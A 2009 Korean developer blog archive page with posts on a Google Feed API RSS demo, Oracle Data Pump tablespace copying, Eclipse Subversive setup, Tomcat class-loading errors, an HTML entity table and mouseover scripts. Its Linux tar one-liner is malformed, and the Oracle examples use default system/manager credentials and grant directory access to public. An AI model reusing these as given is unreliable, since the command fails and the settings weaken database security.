'분류 전체보기'에 해당되는 글 2491건

  1. 2009.11.06 google api 를 이용한 rss 서비스
  2. 2009.11.05 [[oracle_tablespace_copy
  3. 2009.11.05 imp시 tables 틀릴경우 ,10G DATAPUMP: REMAP TABLESPACE 기능
  4. 2009.11.03 install Subversive on Eclipse Ganymede
  5. 2009.10.31 리눅스 많은 파일 한번에 압축 풀기
  6. 2009.10.30 Tomcat class not found 문제
  7. 2009.10.30 Eclipse Galileo (3.5)버전에서 SVN (Subversive) 연동하기
  8. 2009.10.30 html 특수문자
  9. 2009.10.29 마우스 오버시 색상변경
  10. 2009.10.26 IE 전용 스크립트...EE,IE 둘다 가능하도록 변경 javascript 1
  11. 2009.10.21 Validator Plugin 사용!
  12. 2009.10.21 Servlet2.3 API Filter interface Implementation
  13. 2009.10.21 [WEB] cache 사용하지 않기
  14. 2009.10.21 [XSS 취약점 보완] Cross Site Scripting 방지 기법 - Commons Lang
  15. 2009.10.21 XSS (cross site scripting)
  16. 2009.10.21 cookie 해킹 개념잡기
  17. 2009.10.21 Cross-Site Scripting Vulnerabilities
  18. 2009.10.21 "IIS CSS (Cross-Site Scripting)" 취약점에 대한 패치 제공
  19. 2009.10.21 Cross Site Scripting(XSS)취약점 -FAQ
  20. 2009.10.20 [oracle]ORA-12541 TNS:리스너가 아닙니다
  21. 2009.10.20 [oracle]lock걸린 table 및 sql찾기
  22. 2009.10.20 오라클 테이블 락 ( Table lock )
  23. 2009.10.20 ID저장 자바스크립트, id save javascript
  24. 2009.10.20 아이디 저장 자바스크립트
  25. 2009.10.19 토드에서 save as를 통한 엑셀 저장시 한글깨짐 현상발생시 아래와 같은방법을 사용한다
  26. 2009.10.19 토드(toad)에서 한글이 깨져보일때
  27. 2009.10.16 eclipse 3.5 aptana plugin
  28. 2009.10.16 [jQuery] layout, tab, grid
  29. 2009.10.16 보안USB의 주요 취약점에 대한 분석
  30. 2009.10.16 windows에서 2개의 랜 카드 사용시 라우팅하는 방법
반응형

<html>
<head>
    <title>http://www.blueb.co.kr</title>

<script type="text/javascript" src="http://www.google.com/jsapi?key=ABQIAAAAdV0OihhLfo4ru8N1BXzlWxSJ87f2VNqmObhB7kj4DJwDOGkiiBR3Nh79Pxxmk0DgEb3TTwZHI-Fp1g"></script>
<script type="text/javascript" src="http://www.blueb.co.kr/SRC/javascript/js/gfeedfetcher.js"></script>
<style type="text/css">
.labelfield{ /*CSS for label field in general*/
color:brown;
font-size: 90%;
}

.datefield{ /*CSS for date field in general*/
color:gray;
font-size: 90%;
}

#example1 li{ /*CSS specific to demo 1*/
margin-bottom: 4px;
}

#example2 div{ /*CSS specific to demo 2*/
margin-bottom: 5px;
}

#example2 div a{ /*CSS specific to demo 2*/
text-decoration: none;
}

#example3 a{ /*CSS specific to demo 3*/
color: #D80101;
text-decoration: none;
font-weight: bold;
}

#example3 p{ /*CSS specific to demo 3*/
margin-bottom: 2px;
}

code{ /*CSS for insructions*/
color: red;
}
</style>
</head>
</body>


<b>Example 1: (Single RSS feed, 10 entries, "<code>date</code>" field enabled, sort by <code>title</code>)</b><p>
<a href="javascript:cssfeed.init()"><B>본 항목을 새로고침</B></a><br>
<script type="text/javascript">
var cssfeed=new gfeedfetcher("example1", "example1class", "")
    cssfeed.addFeed("문화일보", "http://news.naver.com/rss/rss_presscenter.nhn?office_id=021") //RSS주소 및 제목
    cssfeed.displayoptions("date") //날짜 필드 보여주기
    cssfeed.setentrycontainer("li") //정렬은 Li태그로
    cssfeed.filterfeed(10, "title") //목록은 10개
    cssfeed.init() //Always call this last
</script>
<br><br>

<b>Example 2: (Two RSS feeds, 6 entries, "<code>label"</code>, "<code>datetime</code>", and "<code>snippet</code>" fields enabled, sort by <code>label</code>)</b><p>
<a href="javascript:socialfeed.init()"><B>본 항목을 새로고침</B></a><br>
<script type="text/javascript">
var socialfeed=new gfeedfetcher("example2", "example2class", "_new")
    socialfeed.addFeed("동아일보", "http://news.naver.com/rss/rss_presscenter.nhn?office_id=020") //Specify "label" plus URL to RSS feed
    socialfeed.addFeed("조선일보", "http://news.naver.com/rss/rss_presscenter.nhn?office_id=023") //Specify "label" plus URL to RSS feed
    socialfeed.displayoptions("label datetime snippet") //show the specified additional fields
    socialfeed.setentrycontainer("div") //Display each entry as a DIV
    socialfeed.filterfeed(6, "label") //Show 6 entries, sort by label
    socialfeed.init() //Always call this last
</script>
<br><br>


<b>Example 3: (Three RSS feeds, 8 entries, "<code>datetime</code>" and "<code>snippet</code>" fields enabled, sort by <code>date</code>)</b><p>
<a href="javascript:newsfeed.init()"><B>본 항목을 새로고침</B></a><br>

<script type="text/javascript">
var newsfeed=new gfeedfetcher("example3", "example3class", "_new")
    newsfeed.addFeed("서울신문", "http://news.naver.com/rss/rss_presscenter.nhn?office_id=081") //Specify "label" plus URL to RSS feed
    newsfeed.addFeed("한겨레", "http://news.naver.com/rss/rss_presscenter.nhn?office_id=028") //Specify "label" plus URL to RSS feed
    newsfeed.addFeed("중앙일보", "http://news.naver.com/rss/rss_presscenter.nhn?office_id=025") //Specify "label" plus URL to RSS feed
    newsfeed.displayoptions("datetime snippet") //show the specified additional fields
    newsfeed.setentrycontainer("p") //Display each entry as a paragraph
    newsfeed.filterfeed(8, "date") //Show 8 entries, sort by date
    newsfeed.init() //Always call this last
</script>


</body>
</html> 

Posted by 1010
02.Oracle/DataBase2009. 11. 5. 18:07
반응형

EyeQ MC - Developer Site

오라클 10g 이상에서 expdp와 impdp를 사용한 tablespace 복사 방법

- 복사할 원본 tablespace 이름은 “SRC”, 사용자는 “SRC_USER”라 한다. - 복사 대상 tablespace 이름은 “COPY”, 사용자는 “COPY_USER”라 한다. - system 권한이 있어야 한다.(password는 “manager”)

< 순서 >

1. 복사본 tablespace 및 사용자 생성

2. Dump 디렉토리 설정

3. 원본 export

4. 원본 import


1. 복사본 tablespace 및 사용자 생성(SQL-Plus 로긴 필요)

ⅰ)	tablespace 생성
	CREATE TABLESPACE copy
		DATAFILE 'C:\ORACLExe\ORADATA\XE\copy00.dbf' SIZE 100M
		DEFAULT STORAGE 
		(	INITIAL    500K
 			NEXT      10K
 			MINEXTENTS 2
 			MAXEXTENTS 50
			PCTINCREASE 50);
		
ⅱ)	사용자 생성 및 권한 부여(패스워드는 동일)
	create user copy_user
		identified by copy_user
		default tablespace copy;
	
	grant connect,resource to copy_user;
	grant create table, create sequence, create view TO copy_user;
	
ⅲ)	데이타 파일 추가(사이즈에 맞게 설정)
	ALTER TABLESPACE copy
	ADD DATAFILE 'C:\ORACLExe\ORADATA\XE\copy01.dbf' SIZE 100M
	AUTOEXTEND ON NEXT 10M
	MAXSIZE 1G;	
	

2. Dump 디렉토리 설정(SQL-Plus 로긴 필요)

ⅰ) dump 받을 디렉토리 설정
	CREATE OR REPLACE DIRECTORY expdpDIR AS 'C:\temp';
ⅱ) 설정된 디렉토리 확인
	select * from dba_directories;
	
ⅲ)	디렉토리에 대한 권한 부여
	grant read, write on directory expdpDIR to system,src_user,copy_user;

3. 원본 export

ⅰ)	오라클(10g) 설치 디렉토리의 bin 디렉토리로 이동
ⅱ) export 실행
	expdp system/manager SCHEMAS=SRC directory=expdpdir dumpfile=expdpSRC.dmp job_name=SRC_JOB logfile=SRC_exp.log
	

4. 원본 import

ⅰ) 오라클(10g) 설치 디렉토리의 bin 디렉토리로 이동
ⅱ) import 실행
	impdp system/manager REMAP_SCHEMA=SRC:COPY REMAP_TABLESPACE=SRC:COPY directory=expdpDIR dumpfile=expdpSRC.dmp job_name=COPY_JOB logfile=COPY_imp.log

ⅲ) 메시지 확인
	"작업이 16:46:13에서 성공적으로 완료됨"
 
oracle_tablespace_copy.txt · 마지막 수정: 2008/12/05 11:41 작성자 jsmoon
 
Posted by 1010
02.Oracle/DataBase2009. 11. 5. 18:04
반응형
제품 : ORACLE SERVER

작성날짜 : 2004-05-28

10G DATAPUMP: REMAP TABLESPACE 기능
===================================


PURPOSE


이 문서는 datapump의 REMAP_TABLESPACE 파라미터를 사용하여 데이터베이스 객체를
하나의 테이블 스페이스에서 다른 테이블스페이스로 옮기는 방법을 설명하는 것을 목적으로
한다.

Explanation

Example


범위와 적용 방안


데이터베이스 관리자 - 오라클 기술 지원 애널리스트

다음은, REMAP_TABLESPACE 기능을 사용하여 데이터베이스 객체를 하나의 테이블스페이스로 부터
다른 테이블스페이스로 옮기는 예제를 보여주고 있다.

이 작업은 datapump 임포트에를 통해 수행되며, 다음 세개의 datapump 명령에 의해 소스 스키마로 부터
객체를 추출 할 수 있다.

expdp SYSTEM/password TABLES=<schemaname.tablename>
expdp SYSTEM/password SCHEMAS=<schema>
expdp SYSTEM/password FULL=y

다음은 Scott의 객체를 NewScott의 스키마로 datapump export 명령에 의해 추출하는 절차를
보여준다.

expdp SYSTEM/manager SCHEMAS=scott DIRECTORY=dpump_dir1 DUMPFILE=hr.dmp

=====================

sun1/home/prod/scmiller> sqlplus

SQL*Plus: Release 10.1.0.2.0 - Production on Tue Dec 23 14:29:18 2003

Copyright (c) 1982, 2003, Oracle. All rights reserved.

Enter user-name: / as sysdba

Connected to:
Oracle Database 10g Enterprise Edition Release 10.1.0.2.0 - Production
With the Partitioning, OLAP and Data Mining options

SQL> create directory dpump_dir1 as '/home/prod/scmiller';

Directory created.

SQL> grant read, write on directory dpump_dir1 to public;

Grant succeeded.

SQL> exit
Disconnected from Oracle Database 10g Enterprise Edition Release 10.1.0.2.0 -
With the Partitioning, OLAP and Data Mining options

sun1/home/prod/scmiller> expdp system/manager schemas=scott
DIRECTORY=dpump_dir1 DUMPFILE=newtbs.dmp

Export: Release 10.1.0.2.0 - on Tuesday, 13 January, 2004 12:29

Copyright (c) 2003, Oracle. All rights reserved.

Connected to: Oracle Database 10g Enterprise Edition Release 10.1.0.2.0 -
With the Partitioning, OLAP and Data Mining options
FLASHBACK automatically enabled to preserve database integrity.
Starting "SYSTEM"."SYS_EXPORT_SCHEMA_01": system/******** schemas=scott DIRECT
Estimate in progress using BLOCKS method...
Processing object type SCHEMA_EXPORT/TABLE/TABLE_DATA
Total estimation using BLOCKS method: 192 KB
Processing object type SCHEMA_EXPORT/USER
Processing object type SCHEMA_EXPORT/SYSTEM_GRANT
Processing object type SCHEMA_EXPORT/ROLE_GRANT
Processing object type SCHEMA_EXPORT/DEFAULT_ROLE
Processing object type SCHEMA_EXPORT/SE_PRE_SCHEMA_PROCOBJACT/PROCACT_SCHEMA
Processing object type SCHEMA_EXPORT/TABLE/TABLE
Processing object type SCHEMA_EXPORT/TABLE/INDEX/INDEX
Processing object type SCHEMA_EXPORT/TABLE/CONSTRAINT/CONSTRAINT
Processing object type SCHEMA_EXPORT/TABLE/INDEX/STATISTICS/INDEX_STATISTICS
Processing object type SCHEMA_EXPORT/TABLE/STATISTICS/TABLE_STATISTICS
Processing object type SCHEMA_EXPORT/TABLE/CONSTRAINT/REF_CONSTRAINT
. exported "SCOTT"."DEPT" 5.656 KB 4 rows
. exported "SCOTT"."EMP" 7.820 KB 14 rows
. exported "SCOTT"."SALGRADE" 5.585 KB 5 rows
. exported "SCOTT"."BONUS" 0 KB 0 rows
Master table "SYSTEM"."SYS_EXPORT_SCHEMA_01" successfully loaded/unloaded
******************************************************************************
Dump file set for SYSTEM.SYS_EXPORT_SCHEMA_01 is:
/home/prod/scmiller/newtbs.dmp
Job "SYSTEM"."SYS_EXPORT_SCHEMA_01" successfully completed at 12:36

Scott의 객체가 어느 테이블스페잇에 존재하는지 확인 해 보자 :

Enter user-name: scott/scott

Connected to:
Oracle Database 10g Enterprise Edition Release 10.1.0.2.0 -
With the Partitioning, OLAP and Data Mining options

SQL> select owner, tablespace_name from dba_segments where owner='SCOTT';

OWNER TABLESPACE_NAME

------------------------------
SCOTT USERS
SCOTT USERS
SCOTT USERS
SCOTT USERS
SCOTT USERS
SCOTT USERS

이제 관련 테이블들을 삭제해 보자 :

SQL> drop table SALGRADE;

Table dropped.

SQL> drop table emp;

Table dropped.

SQL> drop table dept;

Table dropped.

SQL> drop table bonus;

Table dropped.

Import는 다음 명령으로 실행 시킨다.

impdp Scott/Scott DIRECTORY=dpump_dir1 DUMPFILE=newtbs.dmp
REMAP_TABLESPACE='USERS':'NEW_USERS'

sun1/home/prod/scmiller> impdp SYSTEM/manager DIRECTORY=dpump_dir1
DUMPFILE=newtbs.dmp REMAP_TABLESPACE='USERS':'NEW_USERS'

Import: Release 10.1.0.2.0 - Production on Tuesday, 23 December, 2003 14:50

Copyright (c) 2003, Oracle. All rights reserved.

Connected to: Oracle Database 10g Enterprise Edition Release 10.1.0.2.0 - Produn
With the Partitioning, OLAP and Data Mining options
Master table "SYSTEM"."SYS_IMPORT_FULL_01" successfully loaded/unloaded
Starting "SYSTEM"."SYS_IMPORT_FULL_01": SYSTEM/******** DIRECTORY=dpump_dir1 D
Processing object type SCHEMA_EXPORT/USER
Processing object type SCHEMA_EXPORT/SYSTEM_GRANT
Processing object type SCHEMA_EXPORT/ROLE_GRANT
Processing object type SCHEMA_EXPORT/DEFAULT_ROLE
Processing object type SCHEMA_EXPORT/SE_PRE_SCHEMA_PROCOBJACT/PROCACT_SCHEMA
Processing object type SCHEMA_EXPORT/TABLE/TABLE
Processing object type SCHEMA_EXPORT/TABLE/TABLE_DATA
. imported "NEWSCOTT"."DEPT" 5.656 KB 4 rows
. imported "NEWSCOTT"."EMP" 7.820 KB 14 rows
. imported "NEWSCOTT"."SALGRADE" 5.585 KB 5 rows
. imported "NEWSCOTT"."BONUS" 0 KB 0 rows
Processing object type SCHEMA_EXPORT/TABLE/INDEX/INDEX
Processing object type SCHEMA_EXPORT/TABLE/CONSTRAINT/CONSTRAINT
Processing object type SCHEMA_EXPORT/TABLE/INDEX/STATISTICS/INDEX_STATISTICS
Processing object type SCHEMA_EXPORT/TABLE/STATISTICS/TABLE_STATISTICS
Processing object type SCHEMA_EXPORT/TABLE/CONSTRAINT/REF_CONSTRAINT
Job "SYSTEM"."SYS_IMPORT_FULL_01" successfully completed at 14:53

sun1/home/prod/scmiller> sqlplus

SQL*Plus: Release 10.1.0.2.0 - Production on Tue Dec 23 14:54:13 2003

Copyright (c) 1982, 2003, Oracle. All rights reserved.

sun1% sqlplus

SQL*Plus: Release 10.1.0.2.0 - Production on Tue Jan 13 12:53:36 2004

Copyright (c) 1982, 2003, Oracle. All rights reserved.

Enter user-name: / as sysdba

Connected to:
Oracle Database 10g Enterprise Edition Release 10.1.0.2.0 -
With the Partitioning, OLAP and Data Mining options

SQL> select owner, tablespace_name from dba_segments where owner='SCOTT';

OWNER TABLESPACE_NAME


------------------------------
SCOTT NEW_USERS
SCOTT NEW_USERS
SCOTT NEW_USERS
SCOTT NEW_USERS
SCOTT NEW_USERS
SCOTT NEW_USERS

6 rows selected.

=======================

여러개의 REMAP_TABLESPACE 파라미터를 지정할 수는 있으나, 두개 이상의 타겟 테이블스페이스에 대해
동일한 소스 테이블스페이스를 지정할 수 없다. 타겟 스키마는 타겟 테이블스페이스 내
충분한 quota를 부여 받은 상태이어야 한다.

주의해야 할 점은 REMAP_TABLESPACE 파라미터는 Data Pump Import에서만 유일하게 제공하는 테이블스페이스
remap 이법이라는 것이다. 이것은, Import 유틸리티 보다 깨끗하고 단순하게 작업을 수행할 수 있게 해
준다. Import 유틸리티에서는, 사용자의 default tablespace를 변경 시키기위해서는, export 및
사용자 drop, 사용자의 생성, 데이터 import와 같은 여러 단계의 작업을 수행 해야만 했었다. 이 방법에는
많은 제약 사항이 존제하는데 (테이블스페이스 지정과 관련 구문) 이것은 일부 DDL이 수행 실패하는
결과를 초래 하기도 한다.

그러나 Data Pump Import는 REMAP_TABLESPACE 파라미터를 제공하므로, 모든객체에 대해 DDL 구문에
어떤 테이블스페이스 지정 구문을 사용했던 상관 없이 안전하게 remap 시킬 수 있는 기능을 제공한다.

Reference Documents

Note:261085.1 Datapump: Remap Tablespace feature
Oracle Database Utilities 10g Release 1 (10.1)


출처 : http://kr.forums.oracle.com/forums/thread.jspa?messageID=1699010


Posted by 1010
56. Eclipse Etc.../Eclipse2009. 11. 3. 10:37
반응형

Posted by ObLiB on August 20, 2008

EclipseWhile trying to install Subversive on Eclipse Ganymede I get this error :

Cannot find a solution where both Match[requiredCapability: org.eclipse.equinox.p2.iu/org.eclipse.team.svn.feature.group/[0.7.1.I20080612-1500,0.7.1.I20080612-1500]] and Match[requiredCapability: org.eclipse.equinox.p2.iu/org.eclipse.team.svn.feature.group/[0.7.3.I20080814-1500,1.0.0)] can be satisfied.
Unsatisfied dependency: [org.polarion.eclipse.team.svn.connector.svnkit.feature.group 2.0.3.I20080814-1500] requiredCapability: org.eclipse.equinox.p2.iu/org.eclipse.team.svn.feature.group/[0.7.3.I20080814-1500,1.0.0)
Unsatisfied dependency: [org.polarion.eclipse.team.svn.connector.svnkit.feature.group 2.0.3.I20080814-1500] requiredCapability: org.eclipse.equinox.p2.iu/org.polarion.eclipse.team.svn.connector.feature.group/0.0.0
Unsatisfied dependency: [org.polarion.eclipse.team.svn.connector.svnkit15.feature.group 2.0.3.I20080814-1500] requiredCapability: org.eclipse.equinox.p2.iu/org.eclipse.team.svn.feature.group/[0.7.3.I20080814-1500,1.0.0)
Unsatisfied dependency: [org.polarion.eclipse.team.svn.connector.svnkit15.feature.group 2.0.3.I20080814-1500] requiredCapability: org.eclipse.equinox.p2.iu/org.polarion.eclipse.team.svn.connector.feature.group/0.0.0
Unsatisfied dependency: [org.polarion.eclipse.team.svn.connector.feature.group 2.0.3.I20080814-1500] requiredCapability: org.eclipse.equinox.p2.iu/org.eclipse.team.svn.feature.group/[0.7.3.I20080814-1500,1.0.0)

Just like everyone I add this url in p2 :
http://www.polarion.org/projects/subversive/download/eclipse/2.0/update-site/
The error comes out when I tried to Install the followings:

Ganymede SVN Provider

So I tried again but this time I unchecked the SVN Connectors and kept the SVN Team Provider. This time the installation worked well and I restarted my Eclipse to finish it. Of course, even if the SVN Team Provider was installed, I can't use it without a SVN Connector. So I retried to install the SVN Connector, but the error cames out again...

On the subversive website they talk about the Subversive plug-in update site:
http://download.eclipse.org/technology/subversive/0.7/update-site/
So I add it in p2 and I retried the install but it failed again...

At this time I really don't understand what was appening. But after some google search, I got the solution: The SVN Team Provider version in the Ganymede update site is not the latest version. To get it works with the Connectors you've got to update it to the latest version. Here are the steps to make it works :

  1. Go to Help->Software Updates.
  2. Click on the "Available Software" tab.
  3. Unfold the Ganymede->Collaboration Tools node, and if your experience is like mine, you will see the "SVN Team Provider (Incubation)" item with this version identifier, "0.7.1.I20080612-1500". What you really need (since the Subversive/Polarion team posted updates) is the version from 2008-08-01.
  4. Click on "Manage Sites…".
  5. Uncheck the "Ganymede" checkbox (http://download.eclipse.org/releases/ganymede)
  6. Scroll down to find "http://download.eclipse.org/technology/subversive/0.7/update-site/", select it and click "OK".
  7. You should be back on the "Available Software" tab, with only the subversive items present. Unfold the "Subversive SVN Team Provider Plugin (Incubation)" item, and you will see the "SVN Team Provider (Incubation)" item. Note that the version identifier is "0.7.3.I20080814-1500".
  8. Check the box, and click"install". The install will be change to an update. Restart Eclipse at the end of the install.
  9. Go to "Help->Software Updates".
  10. Choose the "Available Software" tab.
  11. Click the "Add Site" button, and add "http://www.polarion.org/projects/subversive/download/eclipse/2.0/update-site/".
  12. Check the SVNKit Connectors and click "Install". Restart Eclipse at the end of the install.
  13. Subversive should be working !

Thanks to Frank Carver and Graig Thomas

Posted by 1010
61.Linux2009. 10. 31. 23:24
반응형
find . -name "*.tar.gz" -exec tar xvzf{}\;
Posted by 1010
98..Etc/Tomcat2009. 10. 30. 13:15
반응형

Tomcat FAQ

Class Not Found 문제


print-friendly
version
Preface
이 페이지에서는 당신이 Class Not Found 에러나 그와 유사한 에러를 만났을 때에 대해 논하고 있다. 당신이 다음 문서들을 읽어 보기를 강력히 추천한다: NoClassDefFoundError exception을 만났다면, 근원적인 문제는 ClassNotFound Exception과 같은 원인일 것이다.
Questions

Answers
jsp:useBean가 정상적으로 실행되지 않습니까?
다음을 확인해 보세요:
  • 당신의 빈즈는 패키지 선언이 되어 있는 클래스야 합니다.
  • 패키지 구조를 포함한 완전한 클래스 명 (예:com.bar.package.MyClass) 이나
  • JSP페이지 위에 import 를 이용 (예: <%@ pageimport="com.bar.package.MyClass"%>)하여야 합니다.

java.lang.NoClassDefFoundError: javax/servlet/Filter 라는 메시지를 받습니까?
아마도 servlet.jar파일이 있어서는 안될 어떤 곳에 복사되어 있을 수 있습니다. 이런 상황은 클래스 로더의 동작을 방해 합니다. 톰캣의 클래스 로더가 기대했던 대로 동작하지 않기 때문입니다. (위의 메시지 처럼)

NoClassDefFoundError: org/xml/sax/InputSource라는 메시지를 받습니까?
당신의 classpath안에 있는 XML api jar 파일들에 충돌이 생겼습니다. 더 많은 정보는 README나 RELEASE_NOTES를 참고하세요.
Posted by 1010
56. Eclipse Etc.../Eclipse2009. 10. 30. 11:46
반응형
이번에 새로나온 이클립스 갈릴레오 버전에서 SVN 세팅법 입니다. 기존 3.4버전에서의 방법과 큰 차이가 없으며, 설치는 그리 오래걸리지 않습니다. ^^;

Galileo버전에서 SVN설치에는 Subversive.와 SVN Connector가 설치되어야 합니다. 효과적인 설명을 위해 각각을 따로 설치합니다.

일단 subversive부터 설치합니다.
  1. Eclipse 메뉴의 Help -> Install New Software ...를 선택합니다.
  2. Work with에서 Galileo 항목을 선택하고 아래 화면에서 Collaboration -> Subversive로 시작하는 두항목을 선택합니다.
  3. 이상이 없으니 next 버튼~
  4. 라이센스를 확인하고 동의 선택 후 finish를 하면 설치 됩니다.
  5. 재부팅~
이로서 svn을 이용할 기본단계는 끝났습니다. 그러나 connector가 없으므로 svn을 통해 checkout도 commit도 update도 할수가없습니다.

connector가 등록되지않은 모습..

이번에는 Subversive SVN Connector를 설치합니다.
  1. 똑같은 방법으로 이클립스에서 Install New Software를 선택합니다.
  2. Add 버튼을 눌러 Name에는 적당한 이름을, Location에는 http://www.polarion.com/products/svn/subversive.php?src=eclipseproject 에서 Galileo Release부분의  [required] Subversive SVN Connectors 항목의 주소를 복사해다 붙여넣습니다.
  3. 등록한화면에서 Subversive SVN Connector를 선택합니다. (Source는 필요없습니다.)
  4. 위와 같은방법으로 설치를 진행합니다.

설치가 완료되면 환경설정부분에서 SVN설정부분에 다음과같이 표시됩니다.
주의) 개인적으로 3.4 버전의 connector중 기본 설정된 connector의 경우 이용중 svn기능을 사용할 수없는 문제가 잇었습니다.(기억이 가물가물해서 에러내용는....ㅡㅡ;;) 혹시나 이와같은 문제가 발생할경우 위의 리스트 중 적절히 변경해 가면서 테스트를 진행해 보세요.

끝~ 마지막으로 SVN checkout, commit도 문제없이 이루어지는지 확인하세요
Posted by 1010
반응형

특수문자

ISO Entities

Name Code Number Code Glyph Description
&lsquo;     left single quote
&rsquo;     right single quote
&sbquo;     single low-9 quote
&ldquo;     left double quote
&rdquo;     right double quote
&bdquo;     double low-9 quote
&dagger;     dagger
&Dagger;     double dagger
&permil;     per mill sign
&lsaquo;     single left-pointing angle quote
&rsaquo;     single right-pointing angle quote
&spades;     black spade suit
&clubs;     black club suit
&hearts;     black heart suit
&diams;     black diamond suit
&oline;     overline, = spacing overscore
&larr;     leftward arrow
&uarr;     upward arrow
&rarr;     rightward arrow
&darr;     downward arrow
&trade;     trademark sign
 
Name Code Number Code Glyph Description
  &#09; horizontal tab
  &#10; line feed
  &#32; space
  &#33; !  exclamation mark
&quot; &#34; "  double quotation mark
  &#35; #  number sign
  &#36; $  dollar sign
  &#37; %  percent sign
&amp; &#38; &  ampersand
  &#39; '  apostrophe
  &#40; (  left parenthesis
  &#41; )  right parenthesis
  &#42; *  asterisk
  &#43; +  plus sign
  &#44; ,  comma
  &#45; -  hyphen
  &#46; .  period
 
Name Code Number Code Glyph Description
&frasl; &#47; /  slash
  &#48;-
&#57;
  digits 0-9
  &#58; :  colon
  &#59; ;  semicolon
&lt; &#60; <  less-than sign
  &#61; =  equals sign
&gt; &#62; >  greater-than sign
  &#63; ?  question mark
  &#64; @  at sign
  &#65;-
&#90;
  uppercase letters A-Z
  &#91; [  left square bracket
  &#92; \  backslash
  &#93; ]  right square bracket
  &#94; ^  caret
  &#95; _  horizontal bar (underscore)
  &#96; `  grave accent
  &#97;-
&#122;
  lowercase letters a-z
  &#123; {  left curly brace
  &#124; |  vertical bar
 
Name Code Number Code Glyph Description
  &#125; }  right curly brace
  &#126; ~  tilde
  &#127;-
&#149;
  unused
&ndash; &#150;   en dash
&mdash; &#151;   em dash
  &#152;-
&#159;
  unused
&nbsp; &#160;    nonbreaking space
&iexcl; &#161; ¡  inverted exclamation
&cent; &#162; ¢  cent sign
&pound; &#163; £  pound sterling
&curren; &#164; ¤  general currency sign
&yen; &#165; ¥  yen sign
&brvbar; or &brkbar; &#166; ¦  broken vertical bar
&sect; &#167; §  section sign
&uml; or &die; &#168; ¨  umlaut
&copy; &#169; ©  copyright
&ordf; &#170; ª  feminine ordinal
&laquo; &#171; «  left angle quote
&not; &#172; ¬  not sign
&shy; &#173; ­  soft hyphen
&reg; &#174; ®  registered trademark
&macr; or &hibar; &#175; ¯  macron accent
 
Name Code Number Code Glyph Description
&deg; &#176; °  degree sign
&plusmn; &#177; ±  plus or minus
&sup2; &#178; ²  superscript two
&sup3; &#179; ³  superscript three
&acute; &#180; ´  acute accent
&micro; &#181; µ  micro sign
&para; &#182;   paragraph sign
&middot; &#183; ·  middle dot
&cedil; &#184; ¸  cedilla
&sup1; &#185; ¹  superscript one
&ordm; &#186; º  masculine ordinal
&raquo; &#187; »  right angle quote
&frac14; &#188; ¼  one-fourth
&frac12; &#189; ½  one-half
&frac34; &#190; ¾  three-fourths
&iquest; &#191; ¿  inverted question mark
&Agrave; &#192; À  uppercase A, grave accent
&Aacute; &#193; Á  uppercase A, acute accent
&Acirc; &#194;   uppercase A, circumflex accent
 
Name Code Number Code Glyph Description
&Atilde; &#195; à uppercase A, tilde
&Auml; &#196; Ä  uppercase A, umlaut
&Aring; &#197; Å  uppercase A, ring
&AElig; &#198; Æ  uppercase AE
&Ccedil; &#199; Ç  uppercase C, cedilla
&Egrave; &#200; È  uppercase E, grave accent
&Eacute; &#201; É  uppercase E, acute accent
&Ecirc; &#202; Ê  uppercase E, circumflex accent
&Euml; &#203; Ë  uppercase E, umlaut
&Igrave; &#204; Ì  uppercase I, grave accent
&Iacute; &#205; Í  uppercase I, acute accent
&Icirc; &#206; Π uppercase I, circumflex accent
&Iuml; &#207; Ï  uppercase I, umlaut
&ETH; &#208; Р uppercase Eth, Icelandic
&Ntilde; &#209; Ñ  uppercase N, tilde
&Ograve; &#210; Ò  uppercase O, grave accent
&Oacute; &#211; Ó  uppercase O, acute accent
&Ocirc; &#212; Ô  uppercase O, circumflex accent
&Otilde; &#213; Õ  uppercase O, tilde
 
Name Code Number Code Glyph Description
&Ouml; &#214; Ö  uppercase O, umlaut
&times; &#215; ×  multiplication sign
&Oslash; &#216; Ø  uppercase O, slash
&Ugrave; &#217; Ù  uppercase U, grave accent
&Uacute; &#218; Ú  uppercase U, acute accent
&Ucirc; &#219; Û  uppercase U, circumflex accent
&Uuml; &#220; Ü  uppercase U, umlaut
&Yacute; &#221; Ý  uppercase Y, acute accent
&THORN; &#222; Þ  uppercase THORN, Icelandic
&szlig; &#223; ß  lowercase sharps, German
&agrave; &#224; à  lowercase a, grave accent
&aacute; &#225; á  lowercase a, acute accent
&acirc; &#226; â  lowercase a, circumflex accent
&atilde; &#227; ã  lowercase a, tilde
&auml; &#228; ä  lowercase a, umlaut
&aring; &#229; å  lowercase a, ring
&aelig; &#230; æ  lowercase ae
&ccedil; &#231; ç  lowercase c, cedilla
&egrave; &#232; è  lowercase e, grave accent
 
Name Code Number Code Glyph Description
&eacute; &#233; é  lowercase e, acute accent
&ecirc; &#234; ê  lowercase e, circumflex accent
&euml; &#235; ë  lowercase e, umlaut
&igrave; &#236; ì  lowercase i, grave accent
&iacute; &#237; í  lowercase i, acute accent
&icirc; &#238; î  lowercase i, circumflex accent
&iuml; &#239; ï  lowercase i, umlaut
&eth; &#240; ð  lowercase eth, Icelandic
&ntilde; &#241; ñ  lowercase n, tilde
&ograve; &#242; ò  lowercase o, grave accent
&oacute; &#243; ó  lowercase o, acute accent
&ocirc; &#244; ô  lowercase o, circumflex accent
&otilde; &#245; õ  lowercase o, tilde
&ouml; &#246; ö  lowercase o, umlaut
&divide; &#247; ÷  division sign
&oslash; &#248; ø  lowercase o, slash
&ugrave; &#249; ù  lowercase u, grave accent
&uacute; &#250; ú  lowercase u, acute accent
&ucirc; &#251; û  lowercase u, circumflex accent
 
Name Code Number Code Glyph Description
&uuml; &#252; ü  lowercase u, umlaut
&yacute; &#253; ý  lowercase y, acute accent
&thorn; &#254; þ  lowercase thorn, Icelandic
&yuml; &#255; ÿ  lowercase y, umlaut


From : http://www.webmonkey.com
Posted by 1010
반응형
<br>

<style type="text/css">
.black { COLOR:black; }
.red { COLOR:#FF0000; }
.blue { COLOR:BLUE; }
</style>


<font onMouseOver="this.className='red';" onMouseOut="this.className='black';">바보</font>

<br>

<font onMouseOver="this.className='blue';" onMouseOut="this.className='black';">천재</font>

----------------------------------

<td onMouseOver=bgColor="#999999" onMouseOut=bgColor="#000000" bgcolor="#000000"> 내용 </td>

마우스를 올렸을 때의 색상은 onMouseOver=bgColor="#999999"
마우스를 내렸을 때의 색상은 onMouseOut=bgColor="#000000" bgcolor="#000000"

------------------------------------

<HTML>
<HEAD>
<TITLE> New Document </TITLE>
</HEAD>
<SCRIPT LANGUAGE="JavaScript">
<!--

function setTrColor(obj, color){
        obj.style.backgroundColor=color;
        obj.onmouseout = function(){
                obj.style.backgroundColor=''; //mouseout 시 색상
        }
}
// 뭐...대충 궁여지책으로..ㅋ.ㅋ
